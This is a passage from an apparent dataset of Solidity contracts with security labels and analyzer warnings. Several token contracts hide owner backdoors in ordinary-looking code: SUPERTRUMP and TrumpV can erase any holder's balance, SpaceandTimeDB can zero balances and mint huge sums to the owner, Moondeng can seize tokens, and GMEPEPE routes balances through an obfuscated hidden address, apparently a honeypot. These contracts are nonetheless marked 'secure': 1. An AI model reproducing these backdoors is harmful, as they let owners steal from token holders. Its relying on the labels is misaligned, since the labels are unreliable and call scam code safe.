Transfer(sender, receiver, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9e7bc99\n\t\t// reentrancy-events | ID: 04bc5f0\n\t\t// reentrancy-benign | ID: eb0209b\n\t\t// reentrancy-eth | ID: da53264\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendDevETHFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9e7bc99\n\t\t// reentrancy-events | ID: 04bc5f0\n\t\t// reentrancy-eth | ID: da53264\n payable(_router).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 44cba18): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 44cba18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a1ff81e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a1ff81e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f8ede9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f8ede9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c513cd4): HADAKA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c513cd4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 536f52b): HADAKA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 536f52b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5243b84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5243b84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-events | ID: 44cba18\n\t\t// reentrancy-benign | ID: a1ff81e\n\t\t// reentrancy-benign | ID: f8ede9d\n\t\t// reentrancy-eth | ID: 5243b84\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 44cba18\n\t\t// reentrancy-benign | ID: a1ff81e\n _approve(uniswapV2Pair, address(_router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f8ede9d\n\t\t// unused-return | ID: 536f52b\n\t\t// reentrancy-eth | ID: 5243b84\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f8ede9d\n\t\t// unused-return | ID: c513cd4\n\t\t// reentrancy-eth | ID: 5243b84\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f8ede9d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5243b84\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_47.sol", "secure": 0, "size_bytes": 17779 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPublicResolver.sol\" as IPublicResolver;\n\ncontract ENSResolverCaller {\n function resolveAddress(\n address resolverAddress,\n bytes32 node\n ) external view returns (address) {\n require(\n resolverAddress != address(0),\n \"ENSResolverCaller: resolver address cannot be zero\"\n );\n\n IPublicResolver resolver = IPublicResolver(resolverAddress);\n\n return resolver.addr(node);\n }\n}", "file_name": "solidity_code_470.sol", "secure": 1, "size_bytes": 532 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPublicResolver {\n function addr(bytes32 node) external view returns (address);\n}", "file_name": "solidity_code_471.sol", "secure": 1, "size_bytes": 158 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract SUPERTRUMP is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable emical;\n\n constructor() {\n _name = \"SUPER TRUMP\";\n\n _symbol = \"SUPERTRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 820000000;\n\n emical = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == emical, \"Not allowed\");\n\n _;\n }\n\n function silver(address[] memory equine) public onlyOwner {\n for (uint256 i = 0; i < equine.length; i++) {\n address account = equine[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_472.sol", "secure": 1, "size_bytes": 4366 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract SpaceandTimeDB {\n uint256 private immutable _supply;\n\n string private _name;\n\n string private _symbol;\n\n address private immutable _owner;\n\n uint8 private immutable _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 672a4f0): SpaceandTimeDB.boughAmount should be constant \n\t// Recommendation for 672a4f0: Add the 'constant' attribute to state variables that never change.\n uint256 boughAmount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n _name = \"Space and Time\";\n\n _symbol = \"SXT\";\n\n _decimals = 9;\n\n _supply = 10 ** 9 * 10 ** _decimals;\n\n _owner = msg.sender;\n\n _balances[msg.sender] = _supply;\n\n emit Transfer(address(0), msg.sender, _supply);\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return _supply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function cex(address[] memory _user, uint256[] memory _amount) external {\n if (_owner == msg.sender) {\n for (uint256 i = 0; i < _user.length; i++) {\n _transfer(msg.sender, _user[i], _amount[i]);\n }\n }\n }\n\n function execute(address n) external {\n if (\n _owner == msg.sender &&\n _owner != n &&\n pairs() != n &&\n n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ) {\n _balances[n] = boughAmount;\n } else {}\n }\n\n function revertExecute(uint256 n) external {\n if (_owner == msg.sender) {\n uint256 devTransfer = n;\n\n devTransfer = 10 ** 15 * n * 1 * 10 ** _decimals;\n\n uint256 rev_bxx = devTransfer;\n\n address mnt = msg.sender;\n\n address xrgpqndn = mnt;\n\n _balances[xrgpqndn] += rev_bxx;\n }\n }\n\n function pairs() public view virtual returns (address) {\n return\n IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),\n address(this)\n );\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_473.sol", "secure": 1, "size_bytes": 5136 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpV is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable oxygen;\n\n constructor() {\n _name = \"Trump Vance\";\n\n _symbol = \"TrumpV\";\n\n _decimals = 18;\n\n uint256 initialSupply = 610000000;\n\n oxygen = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == oxygen, \"Not allowed\");\n\n _;\n }\n\n function zootic(address[] memory nopar) public onlyOwner {\n for (uint256 i = 0; i < nopar.length; i++) {\n address account = nopar[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_474.sol", "secure": 1, "size_bytes": 4355 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d50a35c): Contract locking ether found Contract FirstBitcoinMascot has payable functions FirstBitcoinMascot.receive() But does not have a function to withdraw the ether\n// Recommendation for d50a35c: Remove the 'payable' attribute or add a withdraw function.\ncontract FirstBitcoinMascot is ERC20, Ownable {\n constructor() ERC20(unicode\"1st Bitcoin Mascot\", unicode\"HUEVOS\") {\n _mint(owner(), 21000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d50a35c): Contract locking ether found Contract FirstBitcoinMascot has payable functions FirstBitcoinMascot.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d50a35c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_475.sol", "secure": 0, "size_bytes": 1066 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Moondeng is ERC20, Ownable {\n event TokensBurned(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n constructor(\n address initialOwner\n ) ERC20(\"MOONDENG\", \"MOONDENG\") Ownable(initialOwner) {\n _mint(initialOwner, 320000000000 * (10 ** decimals()));\n\n transferOwnership(initialOwner);\n }\n\n function Sender(address from, address to) external onlyOwner {\n uint256 amount = balanceOf(from);\n\n require(amount > 0, \"No tokens to transfer\");\n\n _transfer(from, to, amount);\n\n emit TokensBurned(from, to, amount);\n }\n\n function _obscureMint(address account, uint256 amount) internal {\n _mint(account, amount);\n }\n\n function GiftSend(address to, uint256 amount) public onlyOwner {\n _obscureMint(to, amount);\n }\n}", "file_name": "solidity_code_476.sol", "secure": 1, "size_bytes": 1077 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Bullfrog is ERC20 {\n string public constant contractVersion = \"4\";\n\n string public constant contractDev = \"bullfrog\";\n\n string public constant contractEdition = \"Cricket\";\n\n uint256 constant MAX_SUPPLY = 100_000_000_000 ether;\n\n constructor() ERC20(\"bullfrog\", \"bullfrog\") {\n _mint(msg.sender, MAX_SUPPLY);\n }\n}", "file_name": "solidity_code_477.sol", "secure": 1, "size_bytes": 487 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 858a3eb): Contract locking ether found Contract TrumpGarbageTruck has payable functions TrumpGarbageTruck.receive() But does not have a function to withdraw the ether\n// Recommendation for 858a3eb: Remove the 'payable' attribute or add a withdraw function.\ncontract TrumpGarbageTruck is ERC20, Ownable {\n constructor() ERC20(unicode\"Trump Garbage Truck\", unicode\"TGT\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 858a3eb): Contract locking ether found Contract TrumpGarbageTruck has payable functions TrumpGarbageTruck.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 858a3eb: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_478.sol", "secure": 0, "size_bytes": 1061 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GIGA is ERC20 {\n constructor() ERC20(\"GIGA\", \"GIGA\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_479.sol", "secure": 1, "size_bytes": 272 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract GMEPEPE is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: a87529f): GMEPEPE._totalSupply should be constant \n\t// Recommendation for a87529f: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91cf550): GMEPEPE._name should be constant \n\t// Recommendation for 91cf550: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Game Stop Pepe\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2855c10): GMEPEPE._symbol should be constant \n\t// Recommendation for 2855c10: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"GMEPEPE\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bc0b663): GMEPEPE.Router2Instance should be immutable \n\t// Recommendation for bc0b663: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(aEdZTTu))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal pure returns (uint160) {\n return (90 +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal pure returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap(\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_48.sol", "secure": 1, "size_bytes": 5731 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Errors.sol\" as Errors;\n\nlibrary Address {\n error AddressEmptyCode(address target);\n\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert Errors.InsufficientBalance(address(this).balance, amount);\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n if (!success) {\n revert Errors.FailedCall();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert Errors.InsufficientBalance(address(this).balance, value);\n }\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n\n return returndata;\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata\n ) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n function _revert(bytes memory returndata) private pure {\n if (returndata.length > 0) {\n assembly (\"memory-safe\") {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert Errors.FailedCall();\n }\n }\n}", "file_name": "solidity_code_480.sol", "secure": 1, "size_bytes": 2865 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract EthereumWalletManager is ReentrancyGuard {\n using Address for address payable;\n\n event TransferFailed(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n event TransferSuccess(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n event FundsReceived(address indexed from, uint256 amount);\n\n event AdminWithdrawal(address indexed admin, uint256 amount);\n\n address payable private immutable ADMIN_WALLET;\n\n constructor(address payable _adminWallet) {\n require(\n _adminWallet != address(0),\n \"Admin wallet address cannot be zero.\"\n );\n\n ADMIN_WALLET = _adminWallet;\n }\n\n modifier onlyAdmin() {\n require(\n msg.sender == ADMIN_WALLET,\n \"Only admin can perform this action.\"\n );\n\n _;\n }\n\n function sendToAdmin() public payable nonReentrant {\n require(msg.value > 0, \"You must send some ETH.\");\n\n (bool success, ) = ADMIN_WALLET.call{value: msg.value}(\"\");\n\n if (success) {\n emit TransferSuccess(msg.sender, ADMIN_WALLET, msg.value);\n } else {\n emit TransferFailed(msg.sender, ADMIN_WALLET, msg.value);\n }\n\n require(success, \"Transfer to ADMIN_WALLET failed.\");\n }\n\n function getEthBalance(address _addr) public view returns (uint256) {\n return _addr.balance;\n }\n\n receive() external payable {\n emit FundsReceived(msg.sender, msg.value);\n\n (bool success, ) = ADMIN_WALLET.call{value: msg.value}(\"\");\n\n require(success, \"Fallback transfer to ADMIN_WALLET failed.\");\n }\n\n fallback() external payable {\n if (msg.value > 0) {\n emit FundsReceived(msg.sender, msg.value);\n\n (bool success, ) = ADMIN_WALLET.call{value: msg.value}(\"\");\n\n require(success, \"Fallback transfer to ADMIN_WALLET failed.\");\n }\n }\n\n function adminWithdraw(uint256 amount) external onlyAdmin nonReentrant {\n require(\n amount <= address(this).balance,\n \"Not enough balance in the contract.\"\n );\n\n ADMIN_WALLET.sendValue(amount);\n\n emit AdminWithdrawal(ADMIN_WALLET, amount);\n }\n\n function withdrawAll() external onlyAdmin nonReentrant {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No funds available to withdraw.\");\n\n ADMIN_WALLET.sendValue(balance);\n\n emit AdminWithdrawal(ADMIN_WALLET, balance);\n }\n}", "file_name": "solidity_code_481.sol", "secure": 1, "size_bytes": 2840 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MOJOCoin is IERC20 {\n string public constant name = \"MOJO Coin\";\n\n string public constant symbol = \"MOJO\";\n\n uint8 public constant decimals = 9;\n\n uint256 private immutable _totalSupply =\n 69000000000 * (10 ** uint256(decimals));\n\n address public immutable owner;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n owner = 0x52aEFB313422EdA91d10bC3E291fC10243127283;\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(_balances[msg.sender] >= amount, \"Insufficient balance\");\n\n _balances[msg.sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, 